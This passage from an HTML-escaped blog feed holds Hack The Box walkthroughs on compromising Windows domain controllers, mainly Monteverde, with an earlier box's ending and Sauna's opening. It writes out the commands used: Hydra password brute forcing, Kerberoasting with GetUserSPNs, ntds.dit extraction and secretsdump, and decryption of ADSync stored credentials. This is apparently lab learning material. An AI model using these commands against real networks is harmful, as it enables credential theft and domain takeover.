&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;generates the actual snapshot.&lt;/p&gt;
&lt;p&gt;Finally,&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cmd /c &lt;span style="color:#e6db74"&gt;&amp;#34;echo expose %vss% z:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;mounted the shadow copy as the Z: drive, allowing the snapshot contents to be browsed like a normal filesystem.&lt;/p&gt;
&lt;p&gt;Once the shadow copy was mounted, I used robocopy /b to copy the protected ntds.dit file from the snapshot. The /b switch forces Robocopy to operate in backup mode, allowing the process to utilize SeBackupPrivilege and bypass normal file access restrictions. After copying ntds.dit, the file could be transferred to Kali and processed offline with secretsdump to extract domain credential hashes utilizing the existing system hive I copied earlier.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;secretsdump.py -ntds ntds.dit -system system.hive LOCAL
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Upon completion, hashes of all users were presented, including the domain administrator account.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Domain Admin Hash" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="real%20admin%20hash.png"&gt;&lt;/p&gt;
&lt;p&gt;I used Evil-WinRM with my new hash and compromised the machine and Active Directory.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Root Flag" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="root%20flag.png"&gt;&lt;/p&gt;
&lt;h2 id="thoughts"&gt;&lt;a href="#thoughts" class="header-anchor"&gt;&lt;/a&gt;Thoughts
&lt;/h2&gt;&lt;p&gt;When I started this box, I saw that it had been graded as hard. This was a bit concerning as I had struggled with a medium box before this. I knew that I would have to think back to my Practical Ethical Hacker (PEH) course. I know I needed to continue enumerating, find additional users, and keep moving forward. I think that making these writeups is helping this stick a little bit more. I’m having to think about the steps I took to successfully complete the machine and the reasons for them. As Einstein said, “If you can’t explain it simply, you don’t understand it well enough”. By no means am I saying I’m an expert, but this is forcing me to think about the “why”. On to the next one.&lt;/p&gt;</description></item><item><title>HTB - Monteverde</title><link>https://midwestsec.com/walkthroughs/monteverde/</link><pubDate>Fri, 01 May 2026 00:00:00 +0000</pubDate><guid>https://midwestsec.com/walkthroughs/monteverde/</guid><description>&lt;h2 id="introduction"&gt;&lt;a href="#introduction" class="header-anchor"&gt;&lt;/a&gt;Introduction
&lt;/h2&gt;&lt;p&gt;Hello again! This write up is going over Hack the Box’s &lt;em&gt;Monteverde&lt;/em&gt;. I worked through most of the box independently but relied on the walkthrough for the final steps. We’ll get into more detail as we get there.&lt;/p&gt;
&lt;h2 id="nmap"&gt;&lt;a href="#nmap" class="header-anchor"&gt;&lt;/a&gt;Nmap
&lt;/h2&gt;&lt;p&gt;As always, we start with an Nmap scan.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Nmap scan report &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; 10.129.228.111
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host is up &lt;span style="color:#f92672"&gt;(&lt;/span&gt;0.030s latency&lt;span style="color:#f92672"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Not shown: &lt;span style="color:#ae81ff"&gt;65517&lt;/span&gt; filtered tcp ports &lt;span style="color:#f92672"&gt;(&lt;/span&gt;no-response&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;53/tcp open domain Simple DNS Plus
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;88/tcp open kerberos-sec Microsoft Windows Kerberos &lt;span style="color:#f92672"&gt;(&lt;/span&gt;server time: 2026-04-12 15:46:13Z&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;135/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;139/tcp open netbios-ssn Microsoft Windows netbios-ssn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;389/tcp open ldap Microsoft Windows Active Directory LDAP &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;445/tcp open microsoft-ds?
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;464/tcp open kpasswd5?
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;636/tcp open tcpwrapped
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;3268/tcp open ldap Microsoft Windows Active Directory LDAP &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;3269/tcp open tcpwrapped
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;5985/tcp open http Microsoft HTTPAPI httpd 2.0 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;SSDP/UPnP&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Microsoft-HTTPAPI/2.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Not Found
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;9389/tcp open mc-nmf .NET Message Framing
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49667/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49674/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49676/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49696/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Warning: OSScan results may be unreliable because we could not find at least &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; open and &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; closed port
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Device type: general purpose
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Running &lt;span style="color:#f92672"&gt;(&lt;/span&gt;JUST GUESSING&lt;span style="color:#f92672"&gt;)&lt;/span&gt;: Microsoft Windows 2019|&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;97%&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Aggressive OS guesses: Windows Server &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;97%&lt;span style="color:#f92672"&gt;)&lt;/span&gt;, Microsoft Windows &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1903&lt;/span&gt; - 21H1 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;91%&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;No exact OS matches &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; host &lt;span style="color:#f92672"&gt;(&lt;/span&gt;test conditions non-ideal&lt;span style="color:#f92672"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Network Distance: &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; hops
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info: Host: monteverde; OS: Windows; CPE: cpe:/o:microsoft:windows
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host script results:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-time: 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| date: 2026-04-12T15:47:06
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ start_date: N/A
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-security-mode: 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| 3:1:1: 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Message signing enabled and required
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Looking through the results, I notice that I’m dealing with another Windows Domain Controller. I also note that SMB and WinRM are open.&lt;/p&gt;
&lt;h2 id="ldap"&gt;&lt;a href="#ldap" class="header-anchor"&gt;&lt;/a&gt;LDAP
&lt;/h2&gt;&lt;p&gt;Right away I attempt to enumerate LDAP. I use enum4linux as my trusty tool. It provides a ton of information regarding the target’s setup. I go through looking for information that is immediately pertinent; domain and usernames. Thanks to this enumeration, I know the domain is megabank.local. Moving on to attacks, I created a TXT file and entered the usernames.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mhope
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SABatchJobs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;svc-ata
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;svc-bexec
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;svc-netapp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dgalanos
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;roleary
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;smorgan
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I went on my AS-REP Roasting to see if that was an option. Unfortunately, it didn’t return anything.&lt;/p&gt;
&lt;p&gt;Knowing AS-REP Roasting wasn’t an option, I continued to look through the output of enum4linux. Since no obvious attack paths appeared in the short time before boarding a plane, I decided to try and brute force credentials. I ended up using Hydra and the rockyou file to see if I could get an easy win while flying.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hydra -L users.txt -P /usr/share/wordlists/rockyou.txt &lt;span style="color:#f92672"&gt;[&lt;/span&gt;Remote_Box_IP&lt;span style="color:#f92672"&gt;]&lt;/span&gt; ldap -s &lt;span style="color:#ae81ff"&gt;389&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With the brute force attacking being unsuccessful, I thought about deeper LDAP enumeration. While thinking, I realized that I could target the user descriptions. If I could enumerate the description field for each user, there might be a chance I could find a password hidden away.&lt;/p&gt;
&lt;p&gt;To do this, I found a tool called ldapsearch. Ldapsearch allows you to query anything using the LDAP service. In this case, it is Active Directory.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ldapsearch -x -H ldap://&lt;span style="color:#f92672"&gt;[&lt;/span&gt;Remote_Box_IP&lt;span style="color:#f92672"&gt;]&lt;/span&gt; -b &lt;span style="color:#e6db74"&gt;&amp;#34;DC=MEGABANK,DC=LOCAL&amp;#34;&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;(&amp;amp;(objectClass=user)(description=*))&amp;#34;&lt;/span&gt; description
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To keep the flag descriptions short and simple:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;x — anonymous authentication&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;H — the target server&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;b — the base distinguished name (DN)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;This is the path that you want to search&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The base DN defines the directory path (CN, OU, DC structure)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;“(&amp;amp;(objectClass=user)(description=*))” description — The thing I’m looking for, in this case it is user descriptions&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I ran this command and it didn’t return any useful information. Now that I’ve exhausted that option, I needed to move on.&lt;/p&gt;
&lt;p&gt;At this point, a clear attack path wasn’t revealing itself. I decided to review the hint provided by the box. The hint mentioned that a user’s password was their username. Since there were so few users, I decided to manually try each account. If there were more users, I would figure out a way to script the attempts.&lt;/p&gt;
&lt;p&gt;I attempted to log into the target machine via Evil-WinRM with each set of credentials. Lo and behold, I was successful with the SABatchJobs account. This was the initial foothold I needed to launch into deeper enumeration and eventual domain compromise. Now I can shift my focus to privilege escalation. This confirmed weak credential hygiene within the domain and suggested other misconfigurations might exist.&lt;/p&gt;
&lt;p&gt;I decided to take a slightly different angle on further enumeration that I have on the previous two boxes. I fired up ldapdomaindump. This tool allows the attacker to use valid credentials and map out Active Directory.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo /usr/bin/ldapdomaindump ldaps:// &lt;span style="color:#f92672"&gt;[&lt;/span&gt;Remote_Box_IP&lt;span style="color:#f92672"&gt;]&lt;/span&gt; -u &lt;span style="color:#e6db74"&gt;&amp;#39;megabank.local\ SABatchJobs&amp;#39;&lt;/span&gt; -p SABatchJobs
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This outputs the files into a bunch of HTML and JSON files. These files are then grouped into different categories, such as users, groups and users in groups. I like to start with domain_users_by_group.html as it shows the users and their respective groups. While scanning through that, a user had extra permissions: mhope. This user belonged to the Azure Admins group. I now know my next target.&lt;/p&gt;
&lt;h2 id="bloodhound"&gt;&lt;a href="#bloodhound" class="header-anchor"&gt;&lt;/a&gt;BloodHound
&lt;/h2&gt;&lt;p&gt;I fired up BloodHound and extracted data from the domain controller. I still ran BloodHound to validate relationships visually and cross-check my findings.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo bloodhound-python -d megabank.local -u SABatchJobs -p SABatchJobs -ns &lt;span style="color:#f92672"&gt;[&lt;/span&gt;Remote_Box_IP&lt;span style="color:#f92672"&gt;]&lt;/span&gt; -c all
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;BloodHound is a good tool for mapping Active Directory and seeing what paths exist between users/groups and privilege escalation options. I marked SABatchJobs as owned and looked for different paths to the server or even mhope. Nothing of importance came up.&lt;/p&gt;
&lt;h2 id="smb"&gt;&lt;a href="#smb" class="header-anchor"&gt;&lt;/a&gt;SMB
&lt;/h2&gt;&lt;p&gt;Knowing that SMB was open and I had valid credentials, I started to dig into the SMB share. Initially, I just listed what shares were available.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;smbclient -L &lt;span style="color:#ae81ff"&gt;\\\\&lt;/span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;Remote_Box_IP&lt;span style="color:#f92672"&gt;]&lt;/span&gt; -U sabatchjobs - password SABatchJobs - option &lt;span style="color:#e6db74"&gt;&amp;#39;client min protocol=SMB2&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="SMB Shares" class="gallery-image" data-flex-basis="526px" data-flex-grow="219" height="342" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://midwestsec.com/walkthroughs/monteverde/shares.png" width="750"&gt;&lt;/p&gt;
&lt;p&gt;Initially, I tried to perform a Group Policy Preferences (GPP) attack and see if there were any passwords saved in group policy that could be used to escalate. This attack focuses on GPO preferences and scans for any passwords that may be saved. The passwords are encrypted; however, Microsoft had released the public key which allows the data to be decrypted. I wasn’t successful, but I’ll detail the method to perform this attack.&lt;/p&gt;
&lt;p&gt;Open Metasploit (msfconsole) and run the smb_enum_gpp module. Enter the pertinent information and run it. It will connect to the server with the credentials provided and scan SYSVOL for credentials.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Running GPP Attack" class="gallery-image" data-flex-basis="333px" data-flex-grow="139" height="1178" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://midwestsec.com/walkthroughs/monteverde/gpp.png" srcset="https://midwestsec.com/walkthroughs/monteverde/gpp_hu_ea6873b2b2463983.png 800w, https://midwestsec.com/walkthroughs/monteverde/gpp_hu_a8fa7acd9480edb5.png 1600w, https://midwestsec.com/walkthroughs/monteverde/gpp.png 1638w" width="1638"&gt;&lt;/p&gt;
&lt;p&gt;After my attempt with the GPP attack, I manually enumerated the rest of the shares. Of interest was the users$ share, particularly mhope. I dug into his share, as it was available to access. Within there I came across an azure.xml file. This exposed credentials in cleartext, which is a critical misconfiguration and a common real-world finding. Another win! My focus is privilege escalation toward domain admin now.&lt;/p&gt;
&lt;p&gt;&lt;img alt="mhope Share" class="gallery-image" data-flex-basis="632px" data-flex-grow="263" height="460" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://midwestsec.com/walkthroughs/monteverde/azure.png" srcset="https://midwestsec.com/walkthroughs/monteverde/azure_hu_e3692fd03c670d6a.png 800w, https://midwestsec.com/walkthroughs/monteverde/azure.png 1212w" width="1212"&gt;
&lt;img alt="Cleartext Password" class="gallery-image" data-flex-basis="666px" data-flex-grow="277" height="516" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://midwestsec.com/walkthroughs/monteverde/mhope_password.png" srcset="https://midwestsec.com/walkthroughs/monteverde/mhope_password_hu_795d739fcf09e91e.png 800w, https://midwestsec.com/walkthroughs/monteverde/mhope_password.png 1434w" width="1434"&gt;&lt;/p&gt;
&lt;h2 id="running-into-trouble"&gt;&lt;a href="#running-into-trouble" class="header-anchor"&gt;&lt;/a&gt;Running into Trouble
&lt;/h2&gt;&lt;p&gt;I repeated the same enumeration steps listed before, but with mhope, in hopes that his permissions would provide different data that my SABatchJobs account. Lo and behold, this did not reveal any additional attack paths.&lt;/p&gt;
&lt;p&gt;After exhausting those options, I attempted a Kerberoasting attack to identify any service accounts that could be leveraged for privilege escalation.&lt;/p&gt;
&lt;p&gt;Kerberoasting targets accounts associated with Service Principal Names (SPNs). When a domain user requests a service ticket (TGS) for one of these services, the ticket is encrypted using the service account’s password hash. This allows an attacker to request the ticket and then attempt to crack it offline.&lt;/p&gt;
&lt;p&gt;I used Impacket’s GetUserSPNs.py to enumerate any accounts with SPNs and request their associated tickets.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo GetUserSPNs.py megabank.local/mhope:&lt;span style="color:#f92672"&gt;[&lt;/span&gt;password&lt;span style="color:#f92672"&gt;]&lt;/span&gt; -dc-ip &lt;span style="color:#f92672"&gt;[&lt;/span&gt;Remote_Box_IP&lt;span style="color:#f92672"&gt;]&lt;/span&gt; -request
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;However, this did not return any results, indicating that there were no Kerberoastable accounts available with my current access. I then pivoted to a different approach for privilege escalation.&lt;/p&gt;
&lt;p&gt;With no clear path, I shifted my focus to the Entra ID Sync tool for potential privilege escalation. This tool syncs on-prem Active Directory data to Entra ID and stores credentials for that process.&lt;/p&gt;
&lt;p&gt;Initially, I discovered a script called adconnectdump. This tool was created to extract credentials from the Sync database. It can run remotely, similar to ldapdomaindump, but this approach was unsuccessful.&lt;/p&gt;
&lt;p&gt;To run the script on the target machine, I copied the Python script over. I verified that Python was not installed. I discovered that Python has an embeddable option. This allows Python to run without installation, which is useful when local administrative permissions are not available. I transferred the embeddable Python file to the target machine and ran the adconnectdump script.&lt;/p&gt;
&lt;p&gt;The script did not perform as expected. This ended up being due to different Entra ID Sync versions. The script was made for newer versions of the Sync tool while the one installed on the target machine was older.&lt;/p&gt;
&lt;p&gt;I referred to the walkthrough and confirmed that I was on the right track. Within the walkthrough, it is mentioned that there is a script available for older versions of the software. There are a few preparation steps needed to get the new script functioning.&lt;/p&gt;
&lt;p&gt;I need to extract the instance_id, keyset_id and entropy from the existing database. This data will allow me to decrypt any password used for syncing.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sqlcmd -S MONTEVERDE -Q &lt;span style="color:#e6db74"&gt;&amp;#34;use ADsync; select instance_id,keyset_id,entropy from mms_server_configuration&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="Sync DB Info" class="gallery-image" data-flex-basis="2204px" data-flex-grow="918" height="150" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://midwestsec.com/walkthroughs/monteverde/sqlcmd.png" srcset="https://midwestsec.com/walkthroughs/monteverde/sqlcmd_hu_780692900f872e41.png 800w, https://midwestsec.com/walkthroughs/monteverde/sqlcmd.png 1378w" width="1378"&gt;&lt;/p&gt;
&lt;p&gt;After modifying the script, I was able to successfully decrypt the credentials stored within Entra ID Sync. This occurs because Entra ID Sync often stores highly privileged service account credentials. This highlights how synchronization services can unintentionally expose domain-level credentials if not properly secured.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Domain Admin Password" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="DA%20creds.png"&gt;&lt;/p&gt;
&lt;p&gt;I used Evil-WinRM with my new credentials as verification and successfully logged in. Once logged in, I captured the flag.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Root flag" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="root%20txt.png"&gt;&lt;/p&gt;
&lt;p&gt;To recap, here is the attack path:&lt;/p&gt;
&lt;p&gt;LDAP Enumeration -&amp;gt; Weak Credentials -&amp;gt; SMB share exposure -&amp;gt; Credential Discovery -&amp;gt; Entra ID Sync abuse -&amp;gt; Domain compromise.&lt;/p&gt;
&lt;h2 id="wrap-up---my-thoughts"&gt;&lt;a href="#wrap-up---my-thoughts" class="header-anchor"&gt;&lt;/a&gt;Wrap Up - My Thoughts
&lt;/h2&gt;&lt;p&gt;I’m learning that as soon as I feel that I’m starting to grasp concepts and break into boxes, something comes along and proves I’m not. I had been stuck on working through the Entra ID Sync for most of the time I spent on this box. Regardless, this is all about learning and improving little by little. I would much rather spend time studying and practicing on things harder than the actual exam. That was my mindset with the CISSP and the actual exam was easier compared to the material I had been studying from.&lt;/p&gt;
&lt;p&gt;Overall, I’m continuing to move forward, learn new things and begin to implement what I’m learning as I’m moving forward. Two boxes ago, I had no idea that Evil-WinRM was a tool and now I’m using it all the time. One key takeaway from this box is to always consider Entra ID Sync as a high-value target in hybrid environments.&lt;/p&gt;
&lt;p&gt;Small progress is still progress.&lt;/p&gt;</description></item><item><title>HTB - Sauna</title><link>https://midwestsec.com/walkthroughs/sauna/</link><pubDate>Sun, 12 Apr 2026 00:00:00 +0000</pubDate><guid>https://midwestsec.com/walkthroughs/sauna/</guid><description>&lt;h2 id="introduction"&gt;&lt;a href="#introduction" class="header-anchor"&gt;&lt;/a&gt;Introduction
&lt;/h2&gt;&lt;p&gt;If you’re reading this, hello again! I finished up Hack the Box’s
&lt;em&gt;Sauna&lt;/em&gt;. This one went a lot quicker than I had anticipated. As I mentioned in my Forest walkthrough, these are meant to be a reference for future me. What I didn’t know was that it was going to come into play so quickly. Let’s jump in.&lt;/p&gt;
&lt;h2 id="enumeration"&gt;&lt;a href="#enumeration" class="header-anchor"&gt;&lt;/a&gt;Enumeration
&lt;/h2&gt;&lt;p&gt;Again, just like I do for everything, I start with my Nmap scan.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Starting Nmap 7.95 &lt;span style="color:#f92672"&gt;(&lt;/span&gt; https://nmap.org &lt;span style="color:#f92672"&gt;)&lt;/span&gt; at 2026-04-07 07:52 CDT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Nmap scan report &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; 10.129.95.180
